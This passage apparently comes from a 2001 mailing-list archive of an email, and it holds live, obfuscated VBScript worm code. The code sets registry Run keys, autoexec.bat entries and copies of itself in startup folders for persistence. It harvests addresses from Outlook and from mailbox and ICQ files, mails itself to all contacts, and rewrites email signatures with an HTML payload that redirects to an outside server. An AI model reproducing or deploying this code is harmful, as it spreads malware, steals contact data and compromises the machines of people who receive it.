value='"&Chr(34)&"&iqijdptn&"&Chr(34)&"\jfaojy"&Chr(34)&"&n+1&"&Chr(34)&".htm'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=bcc value='"&Chr(34)&"&zvldz&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=sub value='"&Chr(34)&"&kgemykrkf&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=att value='"&Chr(34)&"&ofqijj&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"/form"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"script"&Chr(34)&"&chr(62)&"&Chr(34)&"document.forms[0].submit()"&Chr(34)&"&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62)):ka.close"&jhpfbv&"echo vmrlvw=vmrlvw+1:wgp=0:zvldz="&Chr(34)&""&Chr(34)&""&jhpfbv&"echo End sub"&jhpfbv&"echo fh=vbcrlf&"&Chr(34)&"echo off"&Chr(34)&"&vbcrlf&"&Chr(34)&"cls"&Chr(34)&"&vbcrlf"&jhpfbv&"echo Set ka=wt.OpenTextFile(iqijdptn&"&Chr(34)&"\xvhrzqfoy.vbs"&Chr(34)&", 1)"&jhpfbv&"echo fh=fh&"&Chr(34)&"echo "&Chr(34)&"&ka.readline&chr(62)&"&Chr(34)&"okshmyiyj.vbs"&Chr(34)&"&vbcrlf"&jhpfbv&"echo do"&jhpfbv&"echo fh=fh&"&Chr(34)&"echo "&Chr(34)&"&ka.readline&chr(62)&chr(62)&vbcrlf"&jhpfbv&"echo loop while not ka.atendofstream"&jhpfbv&"echo fh=fh&"&Chr(34)&"echo REGEDIT4"&Chr(34)&"&chr(62)&"&Chr(34)&" scxurhq.reg"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"scxurhq.reg"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo "&Chr(34)&"&Chr(34)&"&Chr(34)&"okshmyiyj"&Chr(34)&"&chr(34)&"&Chr(34)&"="&Chr(34)&"&chr(34)&"&Chr(34)&"c:\recycled\okshmyiyj.vbs"&Chr(34)&"&chr(34)&"&Chr(34)&""&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"scxurhq.reg"&Chr(34)&"&vbcrlf"&jhpfbv&"echo fh=fh&"&Chr(34)&"echo rem"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"c:\autoexec.bat"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo regedit c:\scxurhq.reg"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"c:\autoexec.bat"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\windows\startm~1\programs\startup\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\windows\menud‚~1\programmes\d‚marrage\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\windows\men£in~1\programas\inicio\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\windows\alluse~1\menuin~1\programas\iniciar\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\windows\startmen\programme\autostart\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy okshmyiyj.vbs c:\recycled\okshmyiyj.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"del c:\windows\winstart.bat"&Chr(34)&"&vbcrlf"&jhpfbv&"echo cuerpohtml=chr(60)&"&Chr(34)&"head"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"meta http-equiv='refresh' content='1;url=http://www.mycgiserver.com/~p1x3ll/refresh.htm'"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"/head"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"script language='vbscript'"&Chr(34)&"&chr(62)&vbcrlf&"&Chr(34)&"on error resume next"&Chr(34)&"&vbcrlf&"&Chr(34)&"set ghsq=CreateObject("&Chr(34)&"&Chr(34)&"&Chr(34)&"Scriptlet.Typelib"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"eydwyhliv="&Chr(34)&"&chr(34)&chr(62)&chr(62)&"&Chr(34)&"okshmyiyj.vbs"&Chr(34)&"&chr(34)&"&Chr(34)&"&vbcrlf"&Chr(34)&"&vbcrlf&"&Chr(34)&"ghsq.doc="&Chr(34)&"&dt(fh)&vbcrlf&"&Chr(34)&"ghsq.path="&Chr(34)&"&Chr(34)&"&Chr(34)&"c:\windows\winstart.bat"&Chr(34)&"&Chr(34)&vbcrlf&"&Chr(34)&"ghsq.write"&Chr(34)&"&vbcrlf&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62)"&jhpfbv&"echo Dim kqmv,djl, sdygfwa"&jhpfbv&"echo wt.CopyFile iqijdptn&"&Chr(34)&"\xvhrzqfoy.vbs"&Chr(34)&",iqijdptn&"&Chr(34)&"\"&Chr(34)&"&ofqijj"&jhpfbv&"echo For djl=1 To yanbcbfw.AddressLists.Count"&jhpfbv&"echo Set tcb=yanbcbfw.AddressLists(djl)"&jhpfbv&"echo For sdygfwa=1 To tcb.AddressEntries.Count"&jhpfbv&"echo Set kqmv=rdytul.CreateItem(0)"&jhpfbv&"echo kqmv.recipients.add tcb.AddressEntries(sdygfwa)"&jhpfbv&"echo kqmv.Subject=kgemykrkf"&jhpfbv&"echo kqmv.HTMLBody=cuerpohtml"&jhpfbv&"echo kqmv.Attachments.Add (iqijdptn&"&Chr(34)&"\"&Chr(34)&"&ofqijj)"&jhpfbv&"echo kqmv.DeleteAfterSubmit=True"&jhpfbv&"echo kqmv.Importance=2"&jhpfbv&"echo kqmv.Send"&jhpfbv&"echo If not tcb.AddressEntries(sdygfwa).Address="&Chr(34)&""&Chr(34)&" Then"&jhpfbv&"echo zvldz=zvldz & tcb.AddressEntries(sdygfwa).Address & "&Chr(34)&","&Chr(34)&""&jhpfbv&"echo wgp=wgp+1"&jhpfbv&"echo If wgp=90 Then nf(vmrlvw)"&jhpfbv&"echo End if"&jhpfbv&"echo Next"&jhpfbv&"echo Next"&jhpfbv&"echo nf(vmrlvw)"&jhpfbv&"echo ypb="&Chr(34)&""&Chr(34)&"&fnuppbdz.RegRead("&Chr(34)&"HKCU\Software\Mirabilis\ICQ\Owners\LastOwner"&Chr(34)&")"&jhpfbv&"echo Set liakqmvsmww=wt.Drives"&jhpfbv&"echo For Each wrxvx In liakqmvsmww"&jhpfbv&"echo If wrxvx.DriveType=2 Or wrxvx.DriveType=3 Then lkjxxryfh(wrxvx.path&"&Chr(34)&"\"&Chr(34)&")"&jhpfbv&"echo Next"&jhpfbv&"echo nf(vmrlvw)"&jhpfbv&"echo Sub lkjxxryfh(kw)"&jhpfbv&"echo Dim xqbhxeegl,xlv,fxhwjo:On Error Resume Next"&jhpfbv&"echo Set xqbhxeegl=wt.GetFolder(kw)"&jhpfbv&"echo Set fxhwjo=xqbhxeegl.SubFolders"&jhpfbv&"echo For Each xlv In fxhwjo"&jhpfbv&"echo lkjxxryfh (xlv.path)"&jhpfbv&"echo Set gcmtwk=xlv.Files"&jhpfbv&"echo For Each imcmptcl In gcmtwk"&jhpfbv&"echo ilczbdsf=wt.GetExtensionName(imcmptcl.path): ilczbdsf=LCase(ilczbdsf)"&jhpfbv&"echo If ilczbdsf="&Chr(34)&"txt"&Chr(34)&" Or ilczbdsf="&Chr(34)&"na2"&Chr(34)&" Or ilczbdsf="&Chr(34)&"wab"&Chr(34)&" Or ilczbdsf="&Chr(34)&"mbx"&Chr(34)&" Then"&jhpfbv&"echo Set ka=wt.OpenTextFile(imcmptcl.path,1):shdetsq(ka.readall)"&jhpfbv&"echo ElseIf ilczbdsf="&Chr(34)&"dbx"&Chr(34)&"  Or (ilczbdsf="&Chr(34)&"dat"&Chr(34)&" And wt.getBaseName(imcmptcl.path)=ypb) Then"&jhpfbv&"echo Set ka=wt.OpenTextFile(imcmptcl.path, 1)"&jhpfbv&"echo While Not ka.atendofstream"&jhpfbv&"echo shdetsq(ka.readline)"&jhpfbv&"echo Wend"&jhpfbv&"echo End If"&jhpfbv&"echo Next"&jhpfbv&"echo Next"&jhpfbv&"echo End Sub"&jhpfbv&"echo Sub shdetsq(ByVal txt)"&jhpfbv&"echo txt=LCase(txt)"&jhpfbv&"echo While True"&jhpfbv&"echo fnvbeqm=False"&jhpfbv&"echo fsblhc=InStr(1, txt, "&Chr(34)&"@"&Chr(34)&")"&jhpfbv&"echo If fsblhc=0 Then Exit Sub"&jhpfbv&"echo boi=fsblhc"&jhpfbv&"echo Do"&jhpfbv&"echo If boi=1 Then Exit Do"&jhpfbv&"echo boi=boi-1"&jhpfbv&"echo fkqmvkxpgum=Asc(Mid(txt, boi, 1))"&jhpfbv&"echo Loop While (ugzwuepcx(fkqmvkxpgum,96) And ugzwuepcx(122,fkqmvkxpgum)) Or (ugzwuepcx(fkqmvkxpgum,47) And ugzwuepcx(57,fkqmvkxpgum)) Or fkqmvkxpgum=45 Or fkqmvkxpgum=46 Or fkqmvkxpgum=95"&jhpfbv&"echo Do"&jhpfbv&"echo fsblhc=fsblhc+1"&jhpfbv&"echo fkqmvkxpgum=Asc(Mid(txt, fsblhc, 1))"&jhpfbv&"echo If fkqmvkxpgum=46 Then fnvbeqm=True"&jhpfbv&"echo Loop While (ugzwuepcx(fkqmvkxpgum,96) And ugzwuepcx(122,fkqmvkxpgum)) Or (ugzwuepcx(fkqmvkxpgum,47) And ugzwuepcx(57,fkqmvkxpgum)) Or fkqmvkxpgum=45 Or fkqmvkxpgum=46 Or fkqmvkxpgum=95"&jhpfbv&"echo inwbjq=boi+1"&jhpfbv&"echo yftzpywx=fsblhc-1"&jhpfbv&"echo If not int((yftzpywx-inwbjq)/6)=0  And fnvbeqm=True Then"&jhpfbv&"echo malead=Mid(txt, inwbjq, yftzpywx-inwbjq+1)"&jhpfbv&"echo If InStr(1, zvldz, malead)=0 Then"&jhpfbv&"echo zvldz=zvldz&malead&"&Chr(34)&","&Chr(34)&""&jhpfbv&"echo wgp=wgp+1"&jhpfbv&"echo End If"&jhpfbv&"echo If wgp=90 Then nf(vmrlvw)"&jhpfbv&"echo End If"&jhpfbv&"echo txt=Mid(txt, fsblhc+2, Len(txt)-fsblhc-1)"&jhpfbv&"echo Wend"&jhpfbv&"echo End Sub"&jhpfbv&"echo set xqbhxeegl=wt.getfolder(wt.getSpecialfolder(0)&"&Chr(34)&"\Application Data\Microsoft\Signatures"&Chr(34)&")"&jhpfbv&"echo set xlv=xqbhxeegl.Files"&jhpfbv&"echo For each imcmptcl in xlv"&jhpfbv&"echo if Lcase(wt.getExtensionName(imcmptcl.path))="&Chr(34)&"htm"&Chr(34)&" Then"&jhpfbv&"echo set ka=wt.opentextfile(imcmptcl.path,2)"&jhpfbv&"echo ka.write cuerpohtml"&jhpfbv&"echo End if"&jhpfbv&"echo Next"&jhpfbv&"echo Function dt(fdnsa)"&jhpfbv&"echo fdnsa=Replace(fdnsa,Chr(34),Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34))"&jhpfbv&"echo fdnsa=replace(fdnsa,chr(62)&chr(62)&vbcrlf,chr(34)&"&Chr(34)&"&eydwyhliv&"&Chr(34)&"&chr(34))"&jhpfbv&"echo fdnsa=Replace(fdnsa,vbCrLf,Chr(34)&"&Chr(34)&"&vbcrlf&"&Chr(34)&"&Chr(34))"&jhpfbv&"echo fdnsa=Chr(34)&fdnsa&Chr(34)"&jhpfbv&"echo dt=fdnsa"&jhpfbv&"echo End Function"&jhpfbv&"echo function ugzwuepcx(a,b)"&jhpfbv&"echo if a-b=abs(a-b) Then ugzwuepcx=True Else ugzwuepcx=False"&jhpfbv&"echo end function"&jhpfbv&"echo REGEDIT4> suioacr.reg"&vbcrlf&"echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]>>suioacr.reg"&vbcrlf&"echo "&Chr(34)&"fkltbie"&Chr(34)&"="&Chr(34)&"c:\recycled\fkltbie.vbs"&Chr(34)&">>suioacr.reg"&vbcrlf&"echo rem>>c:\autoexec.bat"&vbcrlf&"echo regedit c:\suioacr.reg>>c:\autoexec.bat"&vbcrlf&"copy fkltbie.vbs c:\windows\startm~1\programs\startup\fkltbie.vbs"&vbcrlf&"copy fkltbie.vbs c:\windows\menud‚~1\programmes\d‚marrage\fkltbie.vbs"&vbcrlf&"copy fkltbie.vbs c:\windows\men£in~1\programas\inicio\fkltbie.vbs"&vbcrlf&"copy fkltbie.vbs c:\windows\alluse~1\menuin~1\programas\iniciar\fkltbie.vbs"&vbcrlf&"copy fkltbie.vbs c:\windows\startmen\programme\autostart\fkltbie.vbs"&vbcrlf&"copy fkltbie.vbs c:\recycled\fkltbie.vbs"&vbcrlf&"del c:\windows\winstart.bat"&vbcrlf&""
oginubpsj.path="c:\windows\winstart.bat"
oginubpsj.write
</script>
------=_NextPart_000_001A_01C125CF.B809EA00--

Received on Friday, 31 August 2001 14:48:53 UTC